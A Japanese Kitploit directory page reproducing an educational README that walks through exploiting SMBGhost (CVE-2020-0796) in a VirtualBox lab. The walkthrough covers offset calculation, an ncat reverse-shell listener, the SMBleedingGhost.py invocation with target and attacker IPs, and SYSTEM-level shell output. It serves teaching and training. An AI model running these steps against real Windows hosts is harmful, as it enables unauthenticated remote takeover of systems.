Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/tdevworks/cve-2020-0796-smbghost-exploit-demo
脆弱性分析エクスプロイトペネトレーションテスト学習と教育リモートアクセスツールペイロード開発バイナリエクスプロイトラボと実践
GitHub
tdevworks/cve-2020-0796-smbghost-exploit-demo

CVE-2020-0796-SMBGhost-Exploit-Demo

CVE-2020-0796(SMBGhost)の教育用概念実証エクスプロイト。Windows SMBv3での事前認証RCEを示す。ステップバイステップのラボセットアップ、オフセット計算、リバースシェル実行を含み、管理されたサイバーセキュリティトレーニング用。

リポジトリを見る
351年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-0796 エクスプロイトデモ (SMBGhost)

このプロジェクトは、SMBGhost としても知られる CVE-2020-0796 の概念実証 (PoC) エクスプロイトを実演するものです。CVE-2020-0796 は、SMBv3 を使用する Windows 10 および Windows Server システムに影響を与える、認証前の重大な RCE 脆弱性です。これは学校のサイバーセキュリティプロジェクトの一部として開発されました。エクスプロイトコードのすべての功績は ZecOps に帰属します。私は教育目的で、管理されたラボ環境内で CVE-2020-0796 の悪用を実演するために、このコードを利用・適応しただけです。

デモの要件

このデモを再現するには、以下のセットアップが必要です:

攻撃者マシン

  • VirtualBox (VM ネットワークに NATNetwork を使用)
  • Windows 10 (任意の最近のバージョン)
  • Python 3.x (システムの PATH に追加済み)
  • Netcat (Nmap に同梱、または個別にインストール)
  • GitHub PoC のエクスプロイトスクリプト:
    SMBleedingGhost.py (ZecOps 作)

ターゲットマシン

  • VirtualBox (同じ NATNetwork 構成)
  • Windows 10 バージョン 1903、リリース 19H1
    ビルド 18362.356 – 2019.09、Home または Pro エディション (x64)
  • Windows ファイアウォール無効 (ポート 445 へのアクセスを許可するため)
  • GitHub PoC のオフセット計算スクリプト:
    calc_target_offsets.bat (ZecOps 作)

デモ: ステップバイステップのエクスプロイト

ステップ 1: 両方のVMのIPアドレスを取得する

  1. 攻撃者 と ターゲット の両方の仮想マシンで コマンドプロンプト を起動します。

  2. 各マシンで次のコマンドを実行します:

    root@kitploit:~
    ipconfig
    

Screenshot 2025-05-16 172329

  1. VM の IP アドレスをメモします — 以降のステップで使用します。

ステップ 2: ターゲットVMでオフセットを計算する

  1. ターゲットVM で、CVE-2020-0796-RCE-POC-master フォルダーに移動します。
  2. スクリプト calc_target_offsets.bat をダブルクリックして実行します。
  • これにより、エクスプロイトに必要なメモリオフセットが生成されます。
  • ウィンドウは開いたままにして、表示された値をメモします — 次のステップで使用します。

Screenshot 2025-05-16 172350


ステップ 3: 攻撃者VMでエクスプロイトスクリプトを更新する

  1. 攻撃者VM で、同じ CVE-2020-0796-RCE-POC-master フォルダーを開きます。
  2. SMBleedingGhost.py を右クリックし、メモ帳で開きます。
  3. SMBleedingGhost.py ファイル内で下にスクロールし、OFFSETS = { で始まるセクションを見つけます。
  4. 既存のオフセット値を、ターゲットVM から取得した値に置き換えます。
  5. 編集後、ファイルを保存します。
  6. ターゲットVM のオフセットウィンドウは閉じて構いません。

Screenshot 2025-05-16 172403


ステップ 4: 攻撃者VMでNetcatリスナーを起動する

新しいコマンドプロンプトを開き、以下を実行します:

root@kitploit:~
ncat -lvp 4321
  • これにより、エクスプロイトが成功した際にターゲットVM からリバースシェルを受け取るリスナーがポート 4321 に設定されます。
  • 必要に応じてポート番号は変更できます。

Screenshot 2025-05-16 172419


ステップ 5: 攻撃者VMからエクスプロイトを実行する

  1. 別のコマンドプロンプトを開き、PoC ディレクトリに移動します (私はデスクトップに保存しました):
root@kitploit:~
cd Desktop
cd CVE-2020-0796-RCE-POC-master
dir
  1. 適切な IP とポートを指定してエクスプロイトを実行します:
root@kitploit:~
python SMBleedingGhost.py <target_ip> <attacker_ip> <port>

Screenshot 2025-05-16 172450

このデモで使用した例:

root@kitploit:~
python SMBleedingGhost.py 192.168.18.61 192.168.18.62 4321
  • 192.168.18.61: ターゲットVM の IP
  • 192.168.18.62: 攻撃者VM の IP
  • 4321: netcat リスナーで使用したポート

エクスプロイトの結果

成功した場合、netcat ウィンドウに次のように表示されます:

root@kitploit:~
Microsoft Windows [Version 10.0.18362.356]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

これにより、次のことが確認できます:

  • ターゲットVM がエクスプロイトされた
  • 攻撃者VM が システムレベルの権限 を取得した

アクセスを検証するには、以下を実行します:

root@kitploit:~
whoami

これにより、次の結果が得られます:

root@kitploit:~
whoami
nt authority\system

これは、攻撃者VM がターゲットVM 上で システムレベルの権限 を取得したことを意味します。

Screenshot 2025-05-16 172512

また、以下も実行できます:

root@kitploit:~
ipconfig

ターゲットVM のネットワークとやり取りしていることを確認できます。

Screenshot 2025-05-16 172550

注記: エクスプロイト後にターゲットVM がクラッシュする場合があります。クラッシュした場合は、再起動してください。再起動後、攻撃者セッションを再確立する必要があります。

謝辞

このデモは、ZecOps によって開発された公開済みの概念実証に基づいています。

エクスプロイトコードのすべての功績は ZecOps に帰属します。私は教育目的で、管理されたラボ環境内で CVE-2020-0796 の悪用を実演するために、このコードを利用・適応しただけです。

参考リンク

  • CVE-2020-0796 リモートコード実行 POC

作者

@tdevworks

免責事項

このリポジトリは教育目的のみで作成されています。

実演されるすべてのツール、スクリプト、および技術は、管理されたラボ環境でサイバーセキュリティの脆弱性を理解するのに役立つことを目的としています。所有していない、またはテストする明示的な許可を得ていないシステムやネットワークで、提供された資料を決して使用しないでください。

ソフトウェアの誤用について、作者は一切の責任を負いません。

ツールをダウンロード